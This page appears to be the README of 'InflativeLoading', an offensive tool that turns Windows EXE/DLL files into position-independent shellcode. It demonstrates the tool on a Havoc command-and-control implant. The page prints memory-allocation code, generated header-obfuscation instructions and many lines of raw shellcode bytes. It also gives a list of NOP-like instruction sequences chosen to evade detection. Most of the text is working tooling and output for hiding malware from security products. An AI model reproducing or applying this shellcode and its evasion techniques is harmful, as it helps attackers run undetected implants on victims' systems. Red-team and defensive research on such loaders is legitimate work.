senzee1984/inflativeloadingDynamically convert an unmanaged EXE or DLL file to PIC shellcode by prepending a shellcode stub.
Article: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
In this section, major updates are provided. Major updates do include added supports or features.
Only a few bytes in the PE header, such as e_lfanew, RVA of Import Directory, are essential to complete the loading process. Therefore, other bytes can be overwritten with random ones to hide PE header signatures.
After all the processes are completed, even these bytes will be overwritten for complete obfuscation. For instance, from the screenshot below, we can notice that the PE header is mostly obfuscated, but e_lfanew remains unobfuscated for loading purposes. But after the loading process, e_lfanew is also obfuscated.
However, depending on the selected program, obfuscation may not be compatible with it. You should know how does the program work. For example, Havoc stateless DLL payload is not compatible with the obfuscation feature because the DLL also makes use of the PE header.
Havoc stageless EXE payload works well with obfuscation:
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin
[+] The file is an EXE file
[+] Process PID: 26772
[+] PEB Address:000000E87CB1D000
[+] Image Base Address:00007FF7BB8A0000
[+] e_lfanew is 0x80
[+] Size Of The Image : 0x1e000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0x18000
[+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
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Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80
[!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work!
[!] Dynamically generated instructions to obfuscate remained PE signatures:
mov dword ptr [rbx+0x3c], 0x29f7945;
mov dword ptr [rbx+0xa8], 0x99924859;
mov dword ptr [rbx+0xb0], 0x99924859;
mov dword ptr [rbx+0xb4], 0x1203885a;
mov dword ptr [rbx+0xd0], 0xbc488d5f;
mov dword ptr [rbx+0x110], 0xbc488d5f;
mov dword ptr [rbx+0x114], 0x87287f91;
mov dword ptr [rbx+0x130], 0xbc488d5f;
mov dword ptr [rbx+0x134], 0xd44cc6bb;
mov dword ptr [rbx+0x170], 0xbc488d5f;
mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000
[!] PRESS TO EXECUTE SHELLCODED EXE...
Before the update, 0x90/NOP instructions are padded after the actual shellcode stub to align a memory page. Many NOPs could be a detection, therefore, InflativeLoading script dynamically selects preset NOP-Like instruction sequences. Users can also add new ones or replace existing ones to achieve better obfuscation.
nop_like_instructions = [
{"instruction": [0x90], "length": 1}, # NOP
{"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl;
{"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si;
{"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax;
{"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0
{"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax;
{"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg r8;
{"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax;
{"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx
]